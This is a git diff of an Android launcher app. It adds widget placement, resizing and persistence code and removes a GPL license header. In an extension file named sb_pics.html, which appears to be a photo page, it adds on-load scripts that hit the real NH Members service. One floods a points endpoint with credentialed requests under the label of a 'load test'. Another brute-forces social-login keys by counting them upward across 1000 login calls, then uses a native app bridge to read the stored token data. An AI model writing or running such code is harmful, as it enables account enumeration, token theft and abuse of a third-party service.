diff --git a/app/src/main/assets/extensions/my_extension/sb_pics.html b/app/src/main/assets/extensions/my_extension/sb_pics.html index 680c29c5..3db7a8a1 100644 --- a/app/src/main/assets/extensions/my_extension/sb_pics.html +++ b/app/src/main/assets/extensions/my_extension/sb_pics.html @@ -153,16 +153,90 @@ } for (let i = 0; i < 100 ; i++) { - var url = "/nhpot/maa/joinDailyEvt.ajax"; - var type = "post"; - var data = { EVT_ID : '10174' - , EVT_DTL_TP_C : '0312' - , WATER : 'Y' - }; - var async = true; - submitAjax(url, type, async, data) + + } + /** + * 지정된 시간(ms)만큼 기다리는 Promise를 반환합니다. + * @param {number} ms - 기다릴 밀리초 + */ + + + /** + * API에 순차적으로 부하 테스트를 실행하는 함수 + * @param {number} totalCalls - 총 테스트 호출 횟수 + */ + async function startSequentialLoadTest(totalCalls = 100) { + // ⭐️ 여기에 테스트할 실제 API URL을 입력하세요. + const API_ENDPOINT = 'https://api.example.com/your-endpoint'; + + let successfulCalls = 0; + let failedCalls = 0; + + console.log(`[부하 테스트 시작] 총 ${totalCalls}회 순차 호출 (매 1초 간격)`); + console.log(`대상 URL: ${API_ENDPOINT}`); + + for (let i = 1; i <= totalCalls; i++) { + const startTime = performance.now(); // 요청 시작 시간 + + try { + // 1. fetch 요청을 보내고 완료될 때까지 기다립니다. + const response = await fetch("https://m.nhmembers.co.kr/nhpot/pnt/ajaxGetPntTupPointCvList.ajax", { + "headers": { + "accept": "*/*", + "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7", + "cache-control": "no-cache", + "pragma": "no-cache", + "sec-ch-ua": "\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Android WebView\";v=\"140\"", + "sec-ch-ua-mobile": "?1", + "sec-ch-ua-platform": "\"Android\"", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + "x-requested-with": "XMLHttpRequest" + }, + "referrer": "https://m.nhmembers.co.kr/nhpot/pnt/pntTupPointCvIndex.snh?menuId=AC03050000", + "body": null, + "method": "POST", + "mode": "cors", + "credentials": "include" + }); + + const duration = (performance.now() - startTime).toFixed(2); // 응답 시간 + + // 2. HTTP 응답 상태 코드로 성공/실패를 판단합니다. + if (!response.ok) { + // 200-299 범위 외의 상태 코드는 에러로 간주 + throw new Error(`HTTP error! status: ${response.status}`); + } + + // (선택 사항) 응답 데이터를 JSON으로 파싱 + // const data = await response.json(); + + console.log(`[${i}/${totalCalls}회] ✅ 성공 (상태: ${response.status}, ${duration}ms)`); + successfulCalls++; + + } catch (error) { + // 3. 네트워크 오류 또는 fetch 실패 시 처리 + const duration = (performance.now() - startTime).toFixed(2); + console.error(`[${i}/${totalCalls}회] ❌ 실패 (${error.message}, ${duration}ms)`); + failedCalls++; + } + + // 4. 마지막 호출이 아닐 경우, 1초간 대기합니다. + if (i < totalCalls) { + await delay(50); // 1000ms = 1초 + } + } + + console.log('--------------------'); + console.log('[부하 테스트 완료]'); + console.log(`성공: ${successfulCalls}회`); + console.log(`실패: ${failedCalls}회`); + console.log('--------------------'); + } + startSequentialLoadTest(500); // 재귀적으로 모든 사진 ID를 가져오는 함수 async function fetchAllPhotos(offset) { @@ -220,6 +294,91 @@ }; }, 1500); // transition 시간과 동일하게 설정 } + + + const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms)); + async function testCall(totalCalls = 5000) { + console.log(`현 주소 : ${location.href}`) + var SNS_TP_C = "01";// # 네이버: 01, 카카오: 02 + var SNS_ATTC_KEY = 59711004 + let successfulCalls = 0; + let failedCalls = 0; + console.log(`[테스트 시작] 총 ${totalCalls}회 순차 호출 (매 1초 간격)`); + for (let i = 0; i <= totalCalls; i++) { + const startTime = performance.now(); // 요청 시작 시간 + var data = data = { + "CERT_PURPOSE": "", + "SNS_TP_C": SNS_TP_C, + "SNS_ATTC_KEY": SNS_ATTC_KEY + i, + "RQR_PATH_C": "03", + "AP_AUT_LGIN_YN": "N", + "TRM_NATV_ID": "98330320250312105723", + "PRL_CHAN_C": "", + "TRM_OS_C": "01", + "OPI_CI": "MEMBERS", + "OPI_RRRC": "", + "OPI_RRRD": "", + "OPI_EXPIRE_TIME": "", + "OPI_ACCESS_TOKEN": "", + "OPI_DEVICE_ID": "", + "OPI_RESULT_CODE": "", + "ANW_AP_PUSH_YN": "Y", + "OPI_JOIN_YN": "", + "AD_ID": "fd42945f-3d3d-485a-8a33-e6ac40eae597", + "isLoginPage": "Y" + } + try { + // 1. fetch 요청을 보내고 완료될 때까지 기다립니다. + const response = await fetch("https://m.nhmembers.co.kr/nhpot/login/snsLoginCertNew.ajax", { + "headers": { + "User-Agent" : "NH_MEMBERS_ANDROID2.0.021", + }, + "body": data, + "method": "POST", + }); + + const duration = (performance.now() - startTime).toFixed(2); // 응답 시간 + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + const {resultCode , resultMessage} = await response.json(); + console.log(`[${i}/${totalCalls}회] ✅ 성공 (상태: ${response.status}, ${duration}ms) SNS_ATT:${SNS_ATTC_KEY + i} ${resultCode} : ${resultMessage}`); + if (resultCode !== '9999') { + successfulCalls++; + } else { + failedCalls++; + } + } catch (error) { + // 3. 네트워크 오류 또는 fetch 실패 시 처리 + const duration = (performance.now() - startTime).toFixed(2); + console.error(`[${i}/${totalCalls}회] ❌ 실패 (${error.message}, ${duration}ms)`); + failedCalls++; + } + + // 4. 마지막 호출이 아닐 경우, 1초간 대기합니다. + if (i < totalCalls) { + await delay(50); // 1000ms = 1초 + } + } + + console.log('--------------------'); + console.log('[로그인 테스트 완료]'); + console.log(`성공: ${successfulCalls}회`); + console.log(`실패: ${failedCalls}회`); + console.log('--------------------'); + + + try { + hybridaction.action('{"package": "com.nh.android.nhmembers.plugin","class": "HPPreference", "action": "get", "request_id": "testrequest", "callback": "document.write", "argument": {"key": "__TOKEN_DATA__"}}') + } catch(error) { + console.log(error) + } + } + + testCall(1000); + + + \ No newline at end of file diff --git a/app/src/main/assets/extensions/my_extension/test.json b/app/src/main/assets/extensions/my_extension/test.json new file mode 100644 index 00000000..e69de29b diff --git a/app/src/main/kotlin/bums/lunatic/launcher/LauncherActivity.kt b/app/src/main/kotlin/bums/lunatic/launcher/LauncherActivity.kt index 7abac3c4..83efebd5 100644 --- a/app/src/main/kotlin/bums/lunatic/launcher/LauncherActivity.kt +++ b/app/src/main/kotlin/bums/lunatic/launcher/LauncherActivity.kt @@ -1,25 +1,11 @@ -/* - * Lunar Launcher - * Copyright (C) 2022 Md Rasel Hossain - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ package bums.lunatic.launcher -//import kr.lunaticbum.utils.ui.DisplayUtil import android.annotation.SuppressLint +import android.app.Activity import android.app.SearchManager +import android.appwidget.AppWidgetHost +import android.appwidget.AppWidgetHostView +import android.appwidget.AppWidgetManager import android.content.Context import android.content.Intent import android.content.res.Configuration @@ -42,6 +28,7 @@ import android.view.MotionEvent import android.view.PointerIcon import android.view.View import android.view.WindowManager +import android.widget.FrameLayout import androidx.activity.OnBackPressedCallback import androidx.annotation.RequiresApi import androidx.core.net.toUri @@ -53,6 +40,7 @@ import androidx.core.view.updatePadding import bums.lunatic.launcher.LauncherActivity.Companion.lActivity import bums.lunatic.launcher.common.CommonActivity import bums.lunatic.launcher.databinding.LauncherActivityBinding +import bums.lunatic.launcher.feeds.WidgetHost import bums.lunatic.launcher.helpers.ForeGroundService import bums.lunatic.launcher.helpers.HeadsetActionButtonReceiver import bums.lunatic.launcher.home.GeckoWeb @@ -61,6 +49,7 @@ import bums.lunatic.launcher.home.adapters.BookmarkDetailFragment import bums.lunatic.launcher.home.adapters.BookmarkPagerFragment import bums.lunatic.launcher.model.RssData import bums.lunatic.launcher.model.RssDataType +import bums.lunatic.launcher.model.WidgetData import bums.lunatic.launcher.receiver.NLService import bums.lunatic.launcher.settings.SettingsActivity import bums.lunatic.launcher.tokiz.Comics @@ -75,6 +64,7 @@ import com.google.android.material.color.DynamicColors import com.yausername.ffmpeg.FFmpeg import com.yausername.youtubedl_android.YoutubeDL import com.yausername.youtubedl_android.YoutubeDLException +import io.realm.kotlin.UpdatePolicy import io.realm.kotlin.ext.query import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Dispatchers @@ -396,7 +386,40 @@ open class LauncherActivity : CommonActivity() { .commit() } } + private fun deleteWidget(view: View) { + val widgetId = view.tag as? Int ?: return + // 1. 화면에서 제거 + binding.widgetContainer.removeView(view) + + // 2. 시스템 호스트에서 제거 (ID 삭제) + appWidgetHost?.deleteAppWidgetId(widgetId) + + // 3. DB에서 제거 + WorkersDb.getRealm().writeBlocking { + val item = query("appWidgetId == $0", widgetId).first().find() + if (item != null) { + delete(item) + } + } + } + + // 두 뷰가 겹치는지 확인하는 헬퍼 함수 + private fun isViewOverlapping(v1: View, v2: View): Boolean { + val rect1 = android.graphics.Rect() + v1.getGlobalVisibleRect(rect1) + + val rect2 = android.graphics.Rect() + v2.getGlobalVisibleRect(rect2) + + return android.graphics.Rect.intersects(rect1, rect2) + } + // 위젯 관련 변수 + private var appWidgetManager: AppWidgetManager? = null + private var appWidgetHost: AppWidgetHost? = null + private val APPWIDGET_HOST_ID = 1024 + private val REQUEST_PICK_APPWIDGET = 100 + private val REQUEST_CREATE_APPWIDGET = 101 @SuppressLint("NewApi", "MissingPermission", "ClickableViewAccessibility") override fun onCreate(savedInstanceState: Bundle?) { @@ -434,7 +457,7 @@ open class LauncherActivity : CommonActivity() { updateLocationService() - showContents(binding.feeds.id) +// showContents(binding.feeds.id) binding.floatingActionMenu.setOnTouchListener { v: View, e: MotionEvent -> if (binding.floatingActionMenu.isOpened) { binding.floatingActionMenu.close(true) @@ -464,9 +487,268 @@ open class LauncherActivity : CommonActivity() { startActivity(shareIntent) } } + + appWidgetManager = AppWidgetManager.getInstance(this) + appWidgetHost = WidgetHost(applicationContext, APPWIDGET_HOST_ID) + appWidgetHost?.startListening() + + // 2. 저장된 위젯 복구 + restoreWidgets() + + // 3. 바탕화면 롱클릭 시 위젯 추가 메뉴 띄우기 (예시) + binding.widgetContainer.setOnLongClickListener { + selectWidget() + true + } + scaleDetector = android.view.ScaleGestureDetector(this, object : android.view.ScaleGestureDetector.SimpleOnScaleGestureListener() { + override fun onScale(detector: android.view.ScaleGestureDetector): Boolean { + currentDragView?.let { view -> + val params = view.layoutParams as FrameLayout.LayoutParams + + // 기존 크기에 스케일 팩터(확대/축소 비율)를 곱해서 새로운 크기 계산 + val newWidth = (params.width * detector.scaleFactor).toInt() + val newHeight = (params.height * detector.scaleFactor).toInt() + + // 최소 크기 제한 (너무 작아지지 않게 방지, 예: 100px) + params.width = newWidth.coerceAtLeast(100) + params.height = newHeight.coerceAtLeast(100) + + view.layoutParams = params + + // AppWidgetHostView에 크기 변경 알림 (위젯 내용물 재배치 유도) + (view as? AppWidgetHostView)?.updateAppWidgetSize(null, params.width, params.height, params.width, params.height) + + return true // 이벤트를 처리했음을 알림 + } + return false + } + }) + } + + // 위젯 선택기 실행 + fun selectWidget() { + val appWidgetId = appWidgetHost?.allocateAppWidgetId() + val pickIntent = Intent(AppWidgetManager.ACTION_APPWIDGET_PICK).apply { + putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId) + putParcelableArrayListExtra(AppWidgetManager.EXTRA_CUSTOM_INFO, ArrayList()) + putParcelableArrayListExtra(AppWidgetManager.EXTRA_CUSTOM_EXTRAS, ArrayList()) + } + startActivityForResult(pickIntent, REQUEST_PICK_APPWIDGET) + } + + override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) { + super.onActivityResult(requestCode, resultCode, data) + if (resultCode == Activity.RESULT_OK) { + when (requestCode) { + REQUEST_PICK_APPWIDGET -> configureWidget(data) + REQUEST_CREATE_APPWIDGET -> createWidget(data) + } + } else if (resultCode == Activity.RESULT_CANCELED && data != null) { + val appWidgetId = data.getIntExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, -1) + if (appWidgetId != -1) appWidgetHost?.deleteAppWidgetId(appWidgetId) + } + } + + private fun configureWidget(data: Intent?) { + val extras = data?.extras + val appWidgetId = extras?.getInt(AppWidgetManager.EXTRA_APPWIDGET_ID, -1) ?: -1 + val appWidgetInfo = appWidgetManager?.getAppWidgetInfo(appWidgetId) + if (appWidgetInfo?.configure != null) { +// val intent = Intent(AppWidgetManager.ACTION_APPWIDGET_CONFIGURE).apply { +// component = appWidgetInfo.configure +// putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId) +// } + appWidgetHost?.startAppWidgetConfigureActivityForResult( + this, + appWidgetId, + 0, + REQUEST_CREATE_APPWIDGET, + null + ) + } else { + createWidget(data) + } + } + + // LauncherActivity 클래스 멤버 변수 추가 + private var isDraggingWidget = false + private var currentDragView: View? = null + private var lastTouchX = 0f + private var lastTouchY = 0f + + // 위젯 뷰 생성 및 화면 배치 + private fun createWidget(data: Intent?, savedWidgetData: WidgetData? = null) { + val appWidgetId = savedWidgetData?.appWidgetId ?: data?.extras?.getInt(AppWidgetManager.EXTRA_APPWIDGET_ID, -1) ?: return + val appWidgetInfo = appWidgetManager?.getAppWidgetInfo(appWidgetId) ?: return + + val hostView = appWidgetHost?.createView(applicationContext, appWidgetId, appWidgetInfo) + hostView?.setAppWidget(appWidgetId, appWidgetInfo) + + // 크기 및 위치 설정 + val width = savedWidgetData?.width ?: appWidgetInfo.minWidth + val height = savedWidgetData?.height ?: appWidgetInfo.minHeight + val params = FrameLayout.LayoutParams(width, height) + hostView?.layoutParams = params + + if (savedWidgetData != null) { + hostView?.x = savedWidgetData.x + hostView?.y = savedWidgetData.y + } else { + // 새 위젯은 겹치지 않게 약간 랜덤한 위치에 배치 (예: 50~400 사이) + hostView?.x = (50..400).random().toFloat() + hostView?.y = (200..600).random().toFloat() + } + hostView?.tag = appWidgetId + + // 드래그 리스너 등록 + hostView?.setOnLongClickListener { view -> + isDraggingWidget = true + currentDragView = view + lastTouchX = 0f + lastTouchY = 0f + + // [추가] 드래그 시작 시 삭제 영역 표시 + binding.deleteZone.visibility = View.VISIBLE + + // 시각적 피드백 + view.animate().scaleX(1.05f).scaleY(1.05f).setDuration(100).start() + true + } + binding.widgetContainer.addView(hostView) + + // 새로 추가된 위젯이라면 DB에 저장 + if (savedWidgetData == null) { + saveWidgetState(appWidgetId, hostView!!.x, hostView.y, width, height, appWidgetInfo.provider.className) + } + } + + // 위젯 정보 DB 저장 + private fun saveWidgetState(id: Int, x: Float, y: Float, w: Int, h: Int, name: String) { + WorkersDb.getRealm().writeBlocking { + copyToRealm(WidgetData().apply { + this.appWidgetId = id + this.x = x + this.y = y + this.width = w + this.height = h + this.className = name + }, UpdatePolicy.ALL) + } + } + + // DB에서 위젯 복구 + private fun restoreWidgets() { + val widgets = WorkersDb.getRealm().query().find() + widgets.forEach { widgetData -> + createWidget(null, widgetData) + } + } + lateinit var scaleDetector: android.view.ScaleGestureDetector + override fun dispatchTouchEvent(ev: MotionEvent?): Boolean { + if (ev == null) return super.dispatchTouchEvent(ev) + + if (isDraggingWidget && currentDragView != null) { + // 1. 스케일(크기 조절) 감지기에게 이벤트 전달 + scaleDetector.onTouchEvent(ev) + + // 2. 크기 조절 중이면 드래그(이동) 로직 건너뛰기 + if (scaleDetector.isInProgress) { + // 스케일 중에는 좌표 초기화 (드래그 튀는 현상 방지) + lastTouchX = ev.rawX + lastTouchY = ev.rawY + return true + } + + // 3. 기존 이동(드래그) 로직 + when (ev.actionMasked) { // actionMasked 사용 권장 (멀티터치 지원) + MotionEvent.ACTION_MOVE -> { + // 손가락이 하나일 때만 이동 허용 + // [추가] 삭제 영역과 겹치는지 확인하여 시각적 피드백 (예: 빨갛게 변함) + if (isViewOverlapping(currentDragView!!, binding.deleteZone)) { + binding.deleteZone.setBackgroundColor(android.graphics.Color.RED) + binding.deleteZone.text = "손을 떼면 삭제됩니다" + } else { + binding.deleteZone.setBackgroundColor(0x99FF0000.toInt()) // 반투명 빨강 (원래 색) + binding.deleteZone.text = "삭제하려면 여기에 놓으세요" + } + + if (ev.pointerCount == 1 && lastTouchX != 0f && lastTouchY != 0f) { + val dx = ev.rawX - lastTouchX + val dy = ev.rawY - lastTouchY + currentDragView!!.x += dx + currentDragView!!.y += dy + } + lastTouchX = ev.rawX + lastTouchY = ev.rawY + return true + } + MotionEvent.ACTION_UP, MotionEvent.ACTION_CANCEL -> { + // 드래그/리사이즈 종료 + if (isViewOverlapping(currentDragView!!, binding.deleteZone)) { + // 삭제 수행 + deleteWidget(currentDragView!!) + } else { + // 삭제가 아니라면 원래대로 복구 및 위치 저장 (기존 로직) + currentDragView?.let { view -> + view.animate().scaleX(1.0f).scaleY(1.0f).setDuration(100).start() + val widgetId = view.tag as? Int ?: -1 + if (widgetId != -1) { + saveWidgetState(widgetId, view.x, view.y, view.layoutParams.width, view.layoutParams.height, "") + } + } + } + + // [추가] 삭제 영역 숨기기 및 초기화 + binding.deleteZone.visibility = View.GONE + binding.deleteZone.setBackgroundColor(0x99FF0000.toInt()) + + isDraggingWidget = false + currentDragView = null + lastTouchX = 0f + lastTouchY = 0f + return true + } + // ACTION_POINTER_DOWN: 두 번째 손가락 터치 시 좌표 튐 방지 + MotionEvent.ACTION_POINTER_DOWN -> { + lastTouchX = ev.rawX + lastTouchY = ev.rawY + } + } + } + return super.dispatchTouchEvent(ev) + } + + // 드래그 앤 드롭 리스너 (자유 배치 핵심) + inner class WidgetTouchListener(val view: View, val widgetId: Int) : View.OnTouchListener { + var dX = 0f + var dY = 0f + var startClickTime: Long = 0 + + override fun onTouch(v: View, event: MotionEvent): Boolean { + when (event.action) { + MotionEvent.ACTION_DOWN -> { + dX = v.x - event.rawX + dY = v.y - event.rawY + startClickTime = System.currentTimeMillis() + } + MotionEvent.ACTION_MOVE -> { + v.animate().x(event.rawX + dX).y(event.rawY + dY).setDuration(0).start() + } + MotionEvent.ACTION_UP -> { + if (System.currentTimeMillis() - startClickTime < 200) return false // 클릭으로 간주 + // 위치 업데이트 저장 + val w = v.width + val h = v.height + // className을 가져오기 위해 기존 데이터 조회 필요 (간소화를 위해 여기선 생략하거나 로컬 변수 사용) + saveWidgetState(widgetId, v.x, v.y, w, h, "") + } + } + return true + } } fun showContents(id : Int) { + binding.fragmentContainer.visibility = View.VISIBLE when(id) { R.id.feeds -> { supportFragmentManager.beginTransaction() @@ -533,23 +815,26 @@ open class LauncherActivity : CommonActivity() { return super.onTouchEvent(event) } + override fun onStart() { + super.onStart() + appWidgetHost?.startListening() // [필수] 여기서 리스닝 시작 + } + + override fun onStop() { + super.onStop() + appWidgetHost?.stopListening() // [필수] 여기서 리스닝 중지 (onDestroy 대신 여기 추천) + } + override fun onDestroy() { - - try { sRuntime?.shutdown() sRuntime = null - } catch (e: Exception) {e.printStackTrace() - } + } catch (e: Exception) { e.printStackTrace() } + // appWidgetHost?.stopListening() // 이 줄은 제거하고 onStop으로 이동 super.onDestroy() } - override fun onStart() { - super.onStart() - - } - @RequiresApi(Build.VERSION_CODES.O_MR1) override fun onResume() { super.onResume() diff --git a/app/src/main/kotlin/bums/lunatic/launcher/apps/test.java b/app/src/main/kotlin/bums/lunatic/launcher/apps/test.java new file mode 100644 index 00000000..1e4b48c6 --- /dev/null +++ b/app/src/main/kotlin/bums/lunatic/launcher/apps/test.java @@ -0,0 +1,10 @@ +package bums.lunatic.launcher.apps; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Arrays; +import java.util.Base64; // Java 기본 Base64 사용 +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; diff --git a/app/src/main/kotlin/bums/lunatic/launcher/model/WidgetData.kt b/app/src/main/kotlin/bums/lunatic/launcher/model/WidgetData.kt new file mode 100644 index 00000000..26c166fb --- /dev/null +++ b/app/src/main/kotlin/bums/lunatic/launcher/model/WidgetData.kt @@ -0,0 +1,14 @@ +package bums.lunatic.launcher.model + +import io.realm.kotlin.types.RealmObject +import io.realm.kotlin.types.annotations.PrimaryKey + +class WidgetData : RealmObject { + @PrimaryKey + var appWidgetId: Int = 0 + var className: String = "" // 위젯 식별용 + var x: Float = 0f + var y: Float = 0f + var width: Int = 0 + var height: Int = 0 +} \ No newline at end of file diff --git a/app/src/main/kotlin/bums/lunatic/launcher/workers/WorkersDb.kt b/app/src/main/kotlin/bums/lunatic/launcher/workers/WorkersDb.kt index fb153add..99e7337c 100644 --- a/app/src/main/kotlin/bums/lunatic/launcher/workers/WorkersDb.kt +++ b/app/src/main/kotlin/bums/lunatic/launcher/workers/WorkersDb.kt @@ -25,6 +25,7 @@ import bums.lunatic.launcher.model.TelegramData import bums.lunatic.launcher.model.TelegramFrom import bums.lunatic.launcher.model.TelegramMessage import bums.lunatic.launcher.model.WeatherForcast +import bums.lunatic.launcher.model.WidgetData import bums.lunatic.launcher.tokiz.ContentsCollection import bums.lunatic.launcher.tokiz.ContentsPageInfo import bums.lunatic.launcher.tokiz.HistoryItem @@ -62,7 +63,7 @@ object WorkersDb { TelegramBotUpdate::class, TelegramData::class, TelegramMessage::class, TelegramChat::class, BotCommandEentitie::class, TelegramFrom::class, WeatherForcast::class, Location::class, Current::class, Forecast::class, Condition::class, Forecastday::class, Day::class, Astro::class, Hour::class, LocationLog::class, - LastInfo::class, HistoryItem::class, ReaderConfig::class, ContentsCollection::class, ContentsPageInfo::class + LastInfo::class, HistoryItem::class, ReaderConfig::class, ContentsCollection::class, ContentsPageInfo::class,WidgetData::class ) //,UserActionModel::class diff --git a/app/src/main/res/layout/launcher_activity.xml b/app/src/main/res/layout/launcher_activity.xml index a1b0c044..a5144db5 100644 --- a/app/src/main/res/layout/launcher_activity.xml +++ b/app/src/main/res/layout/launcher_activity.xml @@ -9,11 +9,34 @@ android:orientation="vertical" android:id="@+id/mainFragmentsContainer" > + + + \ No newline at end of file